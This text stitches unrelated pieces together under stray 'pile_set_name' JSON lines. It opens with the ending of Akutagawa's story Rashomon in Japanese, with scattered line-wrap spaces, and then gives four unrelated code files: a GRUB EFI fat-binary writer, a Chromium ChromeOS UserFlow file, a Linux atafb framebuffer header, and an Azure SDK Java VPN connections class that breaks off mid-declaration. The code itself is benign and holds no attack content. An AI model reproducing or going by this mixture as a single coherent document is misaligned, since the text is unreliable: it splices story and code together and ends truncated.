らさす火の光が、かすかに、その男の右の頬をぬらしている。短い鬚(ひげ)の中に、 赤く膿を持った面皰のある頬である。下人は、始めから、この上にいる者は、死人ばか りだと高を括っていた。それが、梯子を二三段上って見ると、上では誰か火をとぼして、 しかもその火を其処此処と動かしているらしい。これは、その濁った、黄いろい光が、 隅々に蜘蛛の巣をかけた天井裏に、ゆれながら映ったので、すぐにそれと知れたのであ る。この雨の夜に、この羅生門の上で、火をともしているからは、どうせ唯の者ではな い。  下人は、宮守(やもり)のように足音をぬすんで、やっと急な梯子を、一番上の段ま で這うようにして上りつめた。そうして体を出来るだけ、平にしながら、頸を出来るだ け、前へ出して、恐る恐る、楼の内を覗いて見た。  見ると、楼の内には、噂に聞いた通り、幾つかの屍骸(しがい)が、無造作に棄てて あるが、火の光の及ぶ範囲が、思ったより狭いので、数は幾つともわからない。唯、お ぼろげながら、知れるのは、その中に裸の屍骸と、着物を着た屍骸とがあると云う事で ある。勿論、中には女も男もまじっているらしい。そうして、その屍骸は皆、それが、 嘗(かつて)、生きていた人間だと云う事実さえ疑われる程、土を捏ねて造った人形の ように、口を開いたり、手を延ばしたりして、ごろごろ床の上にころがっていた。しか も、肩とか胸とかの高くなっている部分に、ぼんやりした火の光をうけて、低くなって いる部分の影を一層暗くしながら、永久に唖(おし)の如く黙っていた。  下人は、それらの屍骸の腐爛した臭気に思わず、鼻を掩った(おおった)。しかし、 その手は、次の瞬間には、もう鼻を掩う事を忘れていた。或る強い感情が殆悉(ほとん どことごとく)この男の嗅覚を奪ってしまったからである。  下人の眼は、その時、はじめて、其屍骸の中に蹲っている(うずくまっている)人間 を見た。檜肌色(ひはだいろ)の着物を著た、背の低い、痩せた、白髪頭の、猿のよう な老婆である。その老婆は、右の手に火をともした松の木片を持って、その屍骸の一つ の顔を覗きこむように眺めていた。髪の毛の長い所を見ると、多分女の屍骸であろう。  下人は、六分の恐怖と四分の好奇心とに動かされて、暫時は呼吸(いき)をするのさ え忘れていた。旧記の記者の語を借りれば、「頭身(とうしん)の毛も太る」ように感 じたのである。すると、老婆は、松の木片を、床板の間に挿して、それから、今まで眺 めていた屍骸の首に両手をかけると、丁度、猿の親が猿の子の虱(しらみ)をとるよう に、その長い髪の毛を一本ずつ抜きはじめた。髪は手に従って抜けるらしい。  その髪の毛が、一本ずつ抜けるのに従って下人の心からは、恐怖が少しずつ消えて行っ た。そうして、それと同時に、その老婆に対するはげしい憎悪が、少しずつ動いて来た。 いや、この老婆に対すると云っては、語弊があるかも知れない。寧(むしろ)、あらゆ る悪に対する反感が、一分毎に強さを増して来たのである。この時、誰かがこの下人に、 さっき門の下でこの男が考えていた、饑死(うえじに)をするか盗人になるかと云う問 題を、改めて持出したら、恐らく下人は、何の未練もなく、饑死を選んだ事であろう。 それほど、この男の悪を憎む心は、老婆の床に挿した松の木片のように、勢よく燃え上 がりだしていたのである。  下人には、勿論、何故老婆が死人の髪の毛を抜くかわからなかった。従って、合理的 には、それを善悪の何れに片づけてよいか知らなかった。しかし下人にとっては、この 雨の夜に、この羅生門の上で、死人の髪の毛を抜くと云う事が、それだけで既に許す可 らざる悪であった。勿論 下人は さっき迄自分が、盗人になる気でいた事なぞは と うに忘れているのである。  そこで、下人は、両足に力を入れて、いかなり、梯子から上へ飛び上がった そうし て聖柄(ひじりづか)の太刀に手をかけながら、大股に老婆の前へ歩みよった。老婆が 驚いたのは 云う迄もない。  老婆は、一目下人を見ると、まるで弩(いしゆみ)にでも弾かれたように 飛び上がっ た。  「おのれ、どこへ行く。」  下人は、老婆が屍骸につまづきながら、慌てふためいて逃げようとする行手を塞いで、 こう罵った。老婆は、それでも下人をつきのけて行こうとする。下人は又、それを行か すまいとして、押しもどす。二人は屍骸の中で、暫、無言のまま、つかみ合った。しか し勝負は、はじめから、わかっている。下人はとうとう、老婆の腕をつかんで、無理に そこへねじ倒した。丁度、鶏(とり)の脚のような、骨と皮ばかりの腕である。  「何をしていた。さあ何をしていた。云え。云わぬと これだぞよ。」  下人は、老婆をつき放すと、いきなり、太刀の鞘を払って、白い鋼(はがね)の色を その眼の前へつきつけた。けれども、老婆は黙っている。両手をわなわなふるわせて、 肩で息を切りながら、眼を、眼球がまぶたの外へ出そうになる程、見開いて、唖のよう に執拗(しゅうね)く黙っている。これを見ると、下人は始めて明白にこの老婆の生死 が、全然、自分の意志に支配されていると云う事を意識した。そうして、この意識は、 今まではげしく燃えていた憎悪の心を何時(いつ)の間にか冷ましてしまった。後に残っ たのは、唯、或仕事をして、それが円満に成就した時の、安らかな得意と満足とがある ばかりである。そこで、下人は、老婆を、見下げながら、少し声を柔げてこう云った。  「己は検非違使(けびいし)の庁の役人などではない。今し方この門の下を通りかかっ た旅の者だ。だからお前に縄をかけて、どうしようと云うような事はない。唯今時分、 この門の上で、何をしていたのだか、それを己に話さえすればいいのだ。」  すると、老婆は、見開いた眼を、一層大きくして、じっとその下人の顔を見守った。 まぶたの赤くなった、肉食鳥のような、鋭い眼で見たのである。それから、皺で、殆、 鼻と一つになった唇を何か物でも噛んでいるように動かした。細い喉で、尖った喉仏の 動いているのが見える。その時、その喉から、鴉(からす)の啼くような声が、喘ぎ喘 ぎ、下人の耳へ伝わって来た。  「この髪を抜いてな、この女の髪を抜いてな、鬘(かつら)にしようと思うたの じゃ。」  下人は、老婆の答が存外、平凡なのに失望した。そうして失望すると同時に、又前の 憎悪が、冷な侮蔑と一しょに、心の中へはいって来た。すると その気色(けしき)が、 先方へも通じたのであろう。老婆は、片手に、まだ屍骸の頭から奪(と)った長い抜け 毛を持ったなり、蟇(ひき)のつぶやくような声で、口ごもりながら、こんな事を云っ た。  成程、死人の髪の毛を抜くと云う事は、悪い事かね知れぬ。しかし、こう云う死人の 多くは、皆 その位な事を、されてもいい人間ばかりである。現に、自分が今、髪を抜 いた女などは、蛇を四寸ばかりずつに切って干したのを、干魚(ほしうお)だと云って、 太刀帯(たちはき)の陣へ売りに行った。疫病にかかって死ななかったなら、今でも売 りに行っていたかもしれない。しかも、この女の売る干魚は、味がよいと云うので、太 刀帯たちが、欠かさず菜料に買っていたのである。自分は、この女のした事が悪いとは 思わない。しなければ、饑死(えうじに)をするので、仕方がなくした事だからである。 だから、又今、自分のしていた事も悪い事とは思わない。これもやはりしなければ、饑 死をするので、仕方がなくする事だからである。そうして、その仕方がない事を、よく 知っていたこの女は、自分のする事を許してくれるのにちがいないと思うからであ る。ーー老婆は、大体こんな意味の事を云った。  下人は、太刀を鞘におさめて、その太刀の柄を左の手でおさえながら、冷然として、 この話を聞いていた。勿論、 右の手では、赤く頬に膿を持た大きな面皰(にきび)を 気にしながら、聞いているのである。しかし、之を聞いている中に、下人の心には、或 勇気が生まれて来た。それは さっき、門の下でこの男に欠けていた勇気である。そう して、又さっき、この門の上へ上(あが)って、その老婆を捕えた時の勇気とは、全然、 反対な方向に動こうとする勇気である。下人は、饑死をするか盗人になるかに迷わなかっ たばかりではない。その時のこの男の心もちから云えば、饑死などと云う事は、殆、考 える事さえ出来ない程、意識の外に追い出されていた。  「きっと、そうか。」  老婆の話が完ると、下人は嘲(あざけ)るような声で念を押した。そうして、一足前 へ出ると、不意に、右の手を面皰から離して、老婆の襟上(えりがみ)をつかみながら、 こう云った。  「では、己が引剥(ひはぎ)をしようと恨むまいな。己もそうしなければ、饑死をす る体なのだ。」  下人は、すばやく、老婆の着物を剥ぎとった。それから、足にしがみつこうとする老 婆を、手荒く屍骸の上へ蹴倒した。梯子の口までは、僅に五歩を数えるばかりである。 下人は、剥ぎとった桧肌色の着物をわきにかかえて、またたく間に急な梯子を夜の底へ かけ下りた。  暫、死んだように倒れていた老婆が、屍骸の中から、その裸の体を起こしたのは、そ れから間もなくの事である。老婆は、つぶやくような、うめくような声を立てながら、 まだ燃えている火の光をたよりに、梯子の口まで、這って行った。そうして、そこから、 短い白髪を倒(さかさま)にして、門の下を覗きこんだ。外には、唯、黒洞々(こくと うとう)たる夜があるばかりである。  下人は、既に、雨を冒して、京都の町へ強盗を働きに急いでいた。
{ "pile_set_name": "Github" }
/* * GRUB -- GRand Unified Bootloader * Copyright (C) 2010,2012,2013 Free Software Foundation, Inc. * * GRUB is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * GRUB is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with GRUB. If not, see <http://www.gnu.org/licenses/>. */ #include <config.h> #include <grub/util/misc.h> #include <grub/util/install.h> #include <grub/i18n.h> #include <grub/term.h> #include <grub/macho.h> #define _GNU_SOURCE 1 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> static void write_fat (FILE *in32, FILE *in64, FILE *out, const char *out_filename, const char *name32, const char *name64) { struct grub_macho_fat_header head; struct grub_macho_fat_arch arch32, arch64; grub_uint32_t size32, size64; char *buf; fseek (in32, 0, SEEK_END); size32 = ftell (in32); fseek (in32, 0, SEEK_SET); fseek (in64, 0, SEEK_END); size64 = ftell (in64); fseek (in64, 0, SEEK_SET); head.magic = grub_cpu_to_le32_compile_time (GRUB_MACHO_FAT_EFI_MAGIC); head.nfat_arch = grub_cpu_to_le32_compile_time (2); arch32.cputype = grub_cpu_to_le32_compile_time (GRUB_MACHO_CPUTYPE_IA32); arch32.cpusubtype = grub_cpu_to_le32_compile_time (3); arch32.offset = grub_cpu_to_le32_compile_time (sizeof (head) + sizeof (arch32) + sizeof (arch64)); arch32.size = grub_cpu_to_le32 (size32); arch32.align = 0; arch64.cputype = grub_cpu_to_le32_compile_time (GRUB_MACHO_CPUTYPE_AMD64); arch64.cpusubtype = grub_cpu_to_le32_compile_time (3); arch64.offset = grub_cpu_to_le32 (sizeof (head) + sizeof (arch32) + sizeof (arch64) + size32); arch64.size = grub_cpu_to_le32 (size64); arch64.align = 0; if (fwrite (&head, 1, sizeof (head), out) != sizeof (head) || fwrite (&arch32, 1, sizeof (arch32), out) != sizeof (arch32) || fwrite (&arch64, 1, sizeof (arch64), out) != sizeof (arch64)) { if (out_filename) grub_util_error ("cannot write to `%s': %s", out_filename, strerror (errno)); else grub_util_error ("cannot write to the stdout: %s", strerror (errno)); } buf = xmalloc (size32); if (fread (buf, 1, size32, in32) != size32) grub_util_error (_("cannot read `%s': %s"), name32, strerror (errno)); if (fwrite (buf, 1, size32, out) != size32) { if (out_filename) grub_util_error ("cannot write to `%s': %s", out_filename, strerror (errno)); else grub_util_error ("cannot write to the stdout: %s", strerror (errno)); } free (buf); buf = xmalloc (size64); if (fread (buf, 1, size64, in64) != size64) grub_util_error (_("cannot read `%s': %s"), name64, strerror (errno)); if (fwrite (buf, 1, size64, out) != size64) { if (out_filename) grub_util_error ("cannot write to `%s': %s", out_filename, strerror (errno)); else grub_util_error ("cannot write to the stdout: %s", strerror (errno)); } free (buf); } void grub_util_glue_efi (const char *file32, const char *file64, const char *outname) { FILE *in32, *in64, *out; in32 = grub_util_fopen (file32, "r"); if (!in32) grub_util_error (_("cannot open `%s': %s"), file32, strerror (errno)); in64 = grub_util_fopen (file64, "r"); if (!in64) grub_util_error (_("cannot open `%s': %s"), file64, strerror (errno)); if (outname) out = grub_util_fopen (outname, "wb"); else out = stdout; if (!out) { grub_util_error (_("cannot open `%s': %s"), outname ? : "stdout", strerror (errno)); } write_fat (in32, in64, out, outname, file32, file64); fclose (in32); fclose (in64); if (out != stdout) fclose (out); }
{ "pile_set_name": "Github" }
// Copyright (c) 2012 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "base/bind.h" #include "base/location.h" #include "base/single_thread_task_runner.h" #include "base/threading/thread_task_runner_handle.h" #include "chrome/browser/chromeos/login/user_flow.h" #include "chrome/browser/chromeos/login/users/chrome_user_manager.h" #include "components/signin/core/account_id/account_id.h" namespace chromeos { UserFlow::UserFlow() : host_(NULL) {} UserFlow::~UserFlow() {} void UserFlow::SetHost(LoginDisplayHost* host) { VLOG(1) << "Flow " << this << " got host " << host; host_ = host; } DefaultUserFlow::~DefaultUserFlow() {} void DefaultUserFlow::AppendAdditionalCommandLineSwitches() { } bool DefaultUserFlow::CanLockScreen() { return true; } bool DefaultUserFlow::ShouldShowSettings() { return true; } bool DefaultUserFlow::ShouldLaunchBrowser() { return true; } bool DefaultUserFlow::ShouldSkipPostLoginScreens() { return false; } bool DefaultUserFlow::SupportsEarlyRestartToApplyFlags() { return true; } bool DefaultUserFlow::HandleLoginFailure(const AuthFailure& failure) { return false; } void DefaultUserFlow::HandleLoginSuccess(const UserContext& context) {} bool DefaultUserFlow::HandlePasswordChangeDetected() { return false; } void DefaultUserFlow::HandleOAuthTokenStatusChange( user_manager::User::OAuthTokenStatus status) { } void DefaultUserFlow::LaunchExtraSteps(Profile* profile) { } ExtendedUserFlow::ExtendedUserFlow(const AccountId& account_id) : account_id_(account_id) {} ExtendedUserFlow::~ExtendedUserFlow() { } void ExtendedUserFlow::AppendAdditionalCommandLineSwitches() { } bool ExtendedUserFlow::ShouldShowSettings() { return true; } void ExtendedUserFlow::HandleOAuthTokenStatusChange( user_manager::User::OAuthTokenStatus status) { } void ExtendedUserFlow::UnregisterFlowSoon() { base::ThreadTaskRunnerHandle::Get()->PostTask( FROM_HERE, base::Bind(&ChromeUserManager::ResetUserFlow, base::Unretained(ChromeUserManager::Get()), account_id())); } } // namespace chromeos
{ "pile_set_name": "Github" }
#ifndef _VIDEO_ATAFB_H #define _VIDEO_ATAFB_H void atafb_mfb_copyarea(struct fb_info *info, u_long next_line, int sy, int sx, int dy, int dx, int height, int width); void atafb_mfb_fillrect(struct fb_info *info, u_long next_line, u32 color, int sy, int sx, int height, int width); void atafb_mfb_linefill(struct fb_info *info, u_long next_line, int dy, int dx, u32 width, const u8 *data, u32 bgcolor, u32 fgcolor); void atafb_iplan2p2_copyarea(struct fb_info *info, u_long next_line, int sy, int sx, int dy, int dx, int height, int width); void atafb_iplan2p2_fillrect(struct fb_info *info, u_long next_line, u32 color, int sy, int sx, int height, int width); void atafb_iplan2p2_linefill(struct fb_info *info, u_long next_line, int dy, int dx, u32 width, const u8 *data, u32 bgcolor, u32 fgcolor); void atafb_iplan2p4_copyarea(struct fb_info *info, u_long next_line, int sy, int sx, int dy, int dx, int height, int width); void atafb_iplan2p4_fillrect(struct fb_info *info, u_long next_line, u32 color, int sy, int sx, int height, int width); void atafb_iplan2p4_linefill(struct fb_info *info, u_long next_line, int dy, int dx, u32 width, const u8 *data, u32 bgcolor, u32 fgcolor); void atafb_iplan2p8_copyarea(struct fb_info *info, u_long next_line, int sy, int sx, int dy, int dx, int height, int width); void atafb_iplan2p8_fillrect(struct fb_info *info, u_long next_line, u32 color, int sy, int sx, int height, int width); void atafb_iplan2p8_linefill(struct fb_info *info, u_long next_line, int dy, int dx, u32 width, const u8 *data, u32 bgcolor, u32 fgcolor); #endif /* _VIDEO_ATAFB_H */
{ "pile_set_name": "Github" }
/** * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. See License.txt in the project root for * license information. * * Code generated by Microsoft (R) AutoRest Code Generator. */ package com.microsoft.azure.management.network.v2019_02_01.implementation; import retrofit2.Retrofit; import com.google.common.reflect.TypeToken; import com.microsoft.azure.AzureServiceFuture; import com.microsoft.azure.ListOperationCallback; import com.microsoft.azure.management.network.v2019_02_01.ErrorException; import com.microsoft.azure.Page; import com.microsoft.azure.PagedList; import com.microsoft.rest.ServiceCallback; import com.microsoft.rest.ServiceFuture; import com.microsoft.rest.ServiceResponse; import com.microsoft.rest.Validator; import java.io.IOException; import java.util.List; import okhttp3.ResponseBody; import retrofit2.http.Body; import retrofit2.http.GET; import retrofit2.http.Header; import retrofit2.http.Headers; import retrofit2.http.HTTP; import retrofit2.http.Path; import retrofit2.http.PUT; import retrofit2.http.Query; import retrofit2.http.Url; import retrofit2.Response; import rx.functions.Func1; import rx.Observable; /** * An instance of this class provides access to all the operations defined * in VpnConnections. */ public class VpnConnectionsInner { /** The Retrofit service to perform REST calls. */ private VpnConnectionsService service; /** The service client containing this operation class. */ private NetworkManagementClientImpl client; /** * Initializes an instance of VpnConnectionsInner. * * @param retrofit the Retrofit instance built from a Retrofit Builder. * @param client the instance of the service client containing this operation class. */ public VpnConnectionsInner(Retrofit retrofit, NetworkManagementClientImpl client) { this.service = retrofit.create(VpnConnectionsService.class); this.client = client; } /** * The interface defining all the services for VpnConnections to be * used by Retrofit to perform actually REST calls. */ interface VpnConnectionsService { @Headers({ "Content-Type: application/json; charset=utf-8", "x-ms-logging-context: com.microsoft.azure.management.network.v2019_02_01.VpnConnections get" }) @GET("subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/vpnGateways/{gatewayName}/vpnConnections/{connectionName}") Observable<Response<ResponseBody>> get(@Path("subscriptionId") String subscriptionId, @Path("resourceGroupName") String resourceGroupName, @Path("gatewayName") String gatewayName, @Path("connectionName") String connectionName, @Query("api-version") String apiVersion, @Header("accept-language") String acceptLanguage, @Header("User-Agent") String userAgent); @Headers({ "Content-Type: application/json; charset=utf-8", "x-ms-logging-context: com.microsoft.azure.management.network.v2019_02_01.VpnConnections createOrUpdate" }) @PUT("subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/vpnGateways/{gatewayName}/vpnConnections/{connectionName}") Observable<Response<ResponseBody>> createOrUpdate(@Path("subscriptionId") String subscriptionId, @Path("resourceGroupName") String resourceGroupName, @Path("gatewayName") String gatewayName, @Path("connectionName") String connectionName, @Query("api-version") String apiVersion, @Body VpnConnectionInner vpnConnectionParameters, @Header("accept-language") String acceptLanguage, @Header("User-Agent") String userAgent); @Headers({ "Content-Type: application/json; charset=utf-8", "x-ms-logging-context: com.microsoft.azure.management.network.v2019_02_01.VpnConnections beginCreateOrUpdate" }) @PUT("subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/vpnGateways/{gatewayName}/vpnConnections/{connectionName}") Observable<Response<ResponseBody>> beginCreateOrUpdate(@Path("subscriptionId") String subscriptionId, @Path("resourceGroupName") String resourceGroupName, @Path("gatewayName") String gatewayName, @Path("connectionName") String connectionName, @Query("api-version") String apiVersion, @Body VpnConnectionInner vpnConnectionParameters, @Header("accept-language") String acceptLanguage, @Header("User-Agent") String userAgent); @Headers({ "Content-Type: application/json; charset=utf-8", "x-ms-logging-context: com.microsoft.azure.management.network.v2019_02_01.VpnConnections delete" }) @HTTP(path = "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/vpnGateways/{gatewayName}/vpnConnections/{connectionName}", method = "DELETE", hasBody = true) Observable<Response<ResponseBody>> delete(@Path("subscriptionId") String subscriptionId, @Path("resourceGroupName") String resourceGroupName, @Path("gatewayName") String gatewayName, @Path("connectionName") String connectionName, @Query("api-version") String apiVersion, @Header("accept-language") String acceptLanguage, @Header("User-Agent") String userAgent); @Headers({ "Content-Type: application/json; charset=utf-8", "x-ms-logging-context: com.microsoft.azure.management.network.v2019_02_01.VpnConnections beginDelete" }) @HTTP(path = "subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/vpnGateways/{gatewayName}/vpnConnections/{connectionName}", method = "DELETE", hasBody = true) Observable<Response<ResponseBody>> beginDelete(@Path("subscriptionId") String subscriptionId, @Path("resourceGroupName") String resourceGroupName, @Path("gatewayName") String gatewayName, @Path("connectionName") String connectionName, @Query("api-version") String apiVersion, @Header("accept-language") String acceptLanguage, @Header("User-Agent") String userAgent); @Headers({ "Content-Type: application/json; charset=utf-8", "x-ms-logging-context: com.microsoft.azure.management.network.v2019_02_01.VpnConnections listByVpnGateway" }) @GET("subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.Network/vpnGateways/{gatewayName}/vpnConnections") Observable<Response<ResponseBody>> listByVpnGateway(@Path("subscriptionId") String subscriptionId, @Path("resourceGroupName") String resourceGroupName, @Path("gatewayName") String gatewayName, @Query("api-version") String apiVersion, @Header("accept-language") String acceptLanguage, @Header("User-Agent") String userAgent); @Headers({ "Content-Type: application/json; charset=utf-8", "x-ms-logging-context: com.microsoft.azure.management.network.v2019_02_01.VpnConnections listByVpnGatewayNext" }) @GET Observable<Response<ResponseBody>> listByVpnGatewayNext(@Url String nextUrl, @Header("accept-language") String acceptLanguage, @Header("User-Agent") String userAgent); } /** * Retrieves the details of a vpn connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the vpn connection. * @throws IllegalArgumentException thrown if parameters fail the validation * @throws ErrorException thrown if the request is rejected by server * @throws RuntimeException all other wrapped checked exceptions if the request fails to be sent * @return the VpnConnectionInner object if successful. */ public VpnConnectionInner get(String resourceGroupName, String gatewayName, String connectionName) { return getWithServiceResponseAsync(resourceGroupName, gatewayName, connectionName).toBlocking().single().body(); } /** * Retrieves the details of a vpn connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the vpn connection. * @param serviceCallback the async ServiceCallback to handle successful and failed responses. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the {@link ServiceFuture} object */ public ServiceFuture<VpnConnectionInner> getAsync(String resourceGroupName, String gatewayName, String connectionName, final ServiceCallback<VpnConnectionInner> serviceCallback) { return ServiceFuture.fromResponse(getWithServiceResponseAsync(resourceGroupName, gatewayName, connectionName), serviceCallback); } /** * Retrieves the details of a vpn connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the vpn connection. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the observable to the VpnConnectionInner object */ public Observable<VpnConnectionInner> getAsync(String resourceGroupName, String gatewayName, String connectionName) { return getWithServiceResponseAsync(resourceGroupName, gatewayName, connectionName).map(new Func1<ServiceResponse<VpnConnectionInner>, VpnConnectionInner>() { @Override public VpnConnectionInner call(ServiceResponse<VpnConnectionInner> response) { return response.body(); } }); } /** * Retrieves the details of a vpn connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the vpn connection. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the observable to the VpnConnectionInner object */ public Observable<ServiceResponse<VpnConnectionInner>> getWithServiceResponseAsync(String resourceGroupName, String gatewayName, String connectionName) { if (this.client.subscriptionId() == null) { throw new IllegalArgumentException("Parameter this.client.subscriptionId() is required and cannot be null."); } if (resourceGroupName == null) { throw new IllegalArgumentException("Parameter resourceGroupName is required and cannot be null."); } if (gatewayName == null) { throw new IllegalArgumentException("Parameter gatewayName is required and cannot be null."); } if (connectionName == null) { throw new IllegalArgumentException("Parameter connectionName is required and cannot be null."); } final String apiVersion = "2019-02-01"; return service.get(this.client.subscriptionId(), resourceGroupName, gatewayName, connectionName, apiVersion, this.client.acceptLanguage(), this.client.userAgent()) .flatMap(new Func1<Response<ResponseBody>, Observable<ServiceResponse<VpnConnectionInner>>>() { @Override public Observable<ServiceResponse<VpnConnectionInner>> call(Response<ResponseBody> response) { try { ServiceResponse<VpnConnectionInner> clientResponse = getDelegate(response); return Observable.just(clientResponse); } catch (Throwable t) { return Observable.error(t); } } }); } private ServiceResponse<VpnConnectionInner> getDelegate(Response<ResponseBody> response) throws ErrorException, IOException, IllegalArgumentException { return this.client.restClient().responseBuilderFactory().<VpnConnectionInner, ErrorException>newInstance(this.client.serializerAdapter()) .register(200, new TypeToken<VpnConnectionInner>() { }.getType()) .registerError(ErrorException.class) .build(response); } /** * Creates a vpn connection to a scalable vpn gateway if it doesn't exist else updates the existing connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the connection. * @param vpnConnectionParameters Parameters supplied to create or Update a VPN Connection. * @throws IllegalArgumentException thrown if parameters fail the validation * @throws ErrorException thrown if the request is rejected by server * @throws RuntimeException all other wrapped checked exceptions if the request fails to be sent * @return the VpnConnectionInner object if successful. */ public VpnConnectionInner createOrUpdate(String resourceGroupName, String gatewayName, String connectionName, VpnConnectionInner vpnConnectionParameters) { return createOrUpdateWithServiceResponseAsync(resourceGroupName, gatewayName, connectionName, vpnConnectionParameters).toBlocking().last().body(); } /** * Creates a vpn connection to a scalable vpn gateway if it doesn't exist else updates the existing connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the connection. * @param vpnConnectionParameters Parameters supplied to create or Update a VPN Connection. * @param serviceCallback the async ServiceCallback to handle successful and failed responses. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the {@link ServiceFuture} object */ public ServiceFuture<VpnConnectionInner> createOrUpdateAsync(String resourceGroupName, String gatewayName, String connectionName, VpnConnectionInner vpnConnectionParameters, final ServiceCallback<VpnConnectionInner> serviceCallback) { return ServiceFuture.fromResponse(createOrUpdateWithServiceResponseAsync(resourceGroupName, gatewayName, connectionName, vpnConnectionParameters), serviceCallback); } /** * Creates a vpn connection to a scalable vpn gateway if it doesn't exist else updates the existing connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the connection. * @param vpnConnectionParameters Parameters supplied to create or Update a VPN Connection. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the observable for the request */ public Observable<VpnConnectionInner> createOrUpdateAsync(String resourceGroupName, String gatewayName, String connectionName, VpnConnectionInner vpnConnectionParameters) { return createOrUpdateWithServiceResponseAsync(resourceGroupName, gatewayName, connectionName, vpnConnectionParameters).map(new Func1<ServiceResponse<VpnConnectionInner>, VpnConnectionInner>() { @Override public VpnConnectionInner call(ServiceResponse<VpnConnectionInner> response) { return response.body(); } }); } /** * Creates a vpn connection to a scalable vpn gateway if it doesn't exist else updates the existing connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the connection. * @param vpnConnectionParameters Parameters supplied to create or Update a VPN Connection. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the observable for the request */ public Observable<ServiceResponse<VpnConnectionInner>> createOrUpdateWithServiceResponseAsync(String resourceGroupName, String gatewayName, String connectionName, VpnConnectionInner vpnConnectionParameters) { if (this.client.subscriptionId() == null) { throw new IllegalArgumentException("Parameter this.client.subscriptionId() is required and cannot be null."); } if (resourceGroupName == null) { throw new IllegalArgumentException("Parameter resourceGroupName is required and cannot be null."); } if (gatewayName == null) { throw new IllegalArgumentException("Parameter gatewayName is required and cannot be null."); } if (connectionName == null) { throw new IllegalArgumentException("Parameter connectionName is required and cannot be null."); } if (vpnConnectionParameters == null) { throw new IllegalArgumentException("Parameter vpnConnectionParameters is required and cannot be null."); } Validator.validate(vpnConnectionParameters); final String apiVersion = "2019-02-01"; Observable<Response<ResponseBody>> observable = service.createOrUpdate(this.client.subscriptionId(), resourceGroupName, gatewayName, connectionName, apiVersion, vpnConnectionParameters, this.client.acceptLanguage(), this.client.userAgent()); return client.getAzureClient().getPutOrPatchResultAsync(observable, new TypeToken<VpnConnectionInner>() { }.getType()); } /** * Creates a vpn connection to a scalable vpn gateway if it doesn't exist else updates the existing connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the connection. * @param vpnConnectionParameters Parameters supplied to create or Update a VPN Connection. * @throws IllegalArgumentException thrown if parameters fail the validation * @throws ErrorException thrown if the request is rejected by server * @throws RuntimeException all other wrapped checked exceptions if the request fails to be sent * @return the VpnConnectionInner object if successful. */ public VpnConnectionInner beginCreateOrUpdate(String resourceGroupName, String gatewayName, String connectionName, VpnConnectionInner vpnConnectionParameters) { return beginCreateOrUpdateWithServiceResponseAsync(resourceGroupName, gatewayName, connectionName, vpnConnectionParameters).toBlocking().single().body(); } /** * Creates a vpn connection to a scalable vpn gateway if it doesn't exist else updates the existing connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the connection. * @param vpnConnectionParameters Parameters supplied to create or Update a VPN Connection. * @param serviceCallback the async ServiceCallback to handle successful and failed responses. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the {@link ServiceFuture} object */ public ServiceFuture<VpnConnectionInner> beginCreateOrUpdateAsync(String resourceGroupName, String gatewayName, String connectionName, VpnConnectionInner vpnConnectionParameters, final ServiceCallback<VpnConnectionInner> serviceCallback) { return ServiceFuture.fromResponse(beginCreateOrUpdateWithServiceResponseAsync(resourceGroupName, gatewayName, connectionName, vpnConnectionParameters), serviceCallback); } /** * Creates a vpn connection to a scalable vpn gateway if it doesn't exist else updates the existing connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the connection. * @param vpnConnectionParameters Parameters supplied to create or Update a VPN Connection. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the observable to the VpnConnectionInner object */ public Observable<VpnConnectionInner> beginCreateOrUpdateAsync(String resourceGroupName, String gatewayName, String connectionName, VpnConnectionInner vpnConnectionParameters) { return beginCreateOrUpdateWithServiceResponseAsync(resourceGroupName, gatewayName, connectionName, vpnConnectionParameters).map(new Func1<ServiceResponse<VpnConnectionInner>, VpnConnectionInner>() { @Override public VpnConnectionInner call(ServiceResponse<VpnConnectionInner> response) { return response.body(); } }); } /** * Creates a vpn connection to a scalable vpn gateway if it doesn't exist else updates the existing connection. * * @param resourceGroupName The resource group name of the VpnGateway. * @param gatewayName The name of the gateway. * @param connectionName The name of the connection. * @param vpnConnectionParameters Parameters supplied to create or Update a VPN Connection. * @throws IllegalArgumentException thrown if parameters fail the validation * @return the observable to the VpnConnectionInner object */ public 